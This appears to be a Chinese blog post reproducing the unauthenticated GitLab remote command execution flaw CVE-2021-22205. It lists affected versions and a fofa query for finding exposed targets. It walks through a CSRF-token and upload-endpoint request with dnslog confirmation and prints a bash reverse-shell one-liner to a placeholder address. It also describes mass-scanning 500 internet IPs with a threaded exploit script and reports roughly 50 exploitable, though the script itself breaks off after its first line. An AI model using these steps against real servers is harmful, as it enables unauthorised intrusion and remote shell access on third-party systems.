GitLab未授权RCE(CVE-2021-22205)
2021年10月28日,GitLab远程命令执行漏洞(CVE-2021-22205)在野利用工具被公开,这意味着黑客可直接利用该攻击代码实施入侵攻击。具体而言,GitLab某些端点的路径存在无需授权风险,攻击者可在无需认证的情况下完成图片上传,并利用该漏洞构造恶意数据执行远程命令,最终造成服务器敏感信息泄露或执行任意命令。该漏洞CVSS3.0评分9.9分,定级为严重漏洞。
影响版本
11.9 <= Gitlab <= 13.8.7
13.9 <= Gitlab <= 13.9.5
13.10 <= Gitlab <= 13.10.2
fofa语法
1 | title="GitLab" |
漏洞复现
1、fofa找一个目标进行复现测试
1 | http://ip/ |
2、复现演示
第一步,直接访问目标,进入登入框,burp抓包,并将返回的csrf中token的值复制
1 | http://ip/users/sign_in |
第二步,直接用我们当前的session,去访问上传页面,改成post传参,将post数据部分改成payload,文件头也加一个x-csrf-token,再发包一下
第三步,由于这个是无返回值rce,所以弄的是访问dnslog,所以我们看看dns,bb出来了
第四步,反弹shell
1 | bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/xxxx <&1' |
编写EXP的使用方法
会放在文末,搞了一下午 o(╥﹏╥)o,基本都打了注释,可以看懂
使用方法
1 | 批量检测:python3 xxx.py -f/--file target.txt -d/--dnslog xxxx.dnslog.cn |
一、将可能有漏洞ip放入url.txt中
1 | http://129.xxx.xx.141 |
二、获取一个dnslog的网址
1 | 类似这个xpy28t.dnslog.cn |
三、执行脚本
四、我们看看dnslog,执行成功 RCE
批量检测
看代码就知道咋调线程,有备注
好了 直接50线程扫,结果图如下
我发现批量的话,是很多的,可以看看dnslog,基本一直在跳
就检测了500个ip,里面差不多会有50个能RCE的漏洞,风险很大可以直接反弹shell
EXP代码
1 | import requests |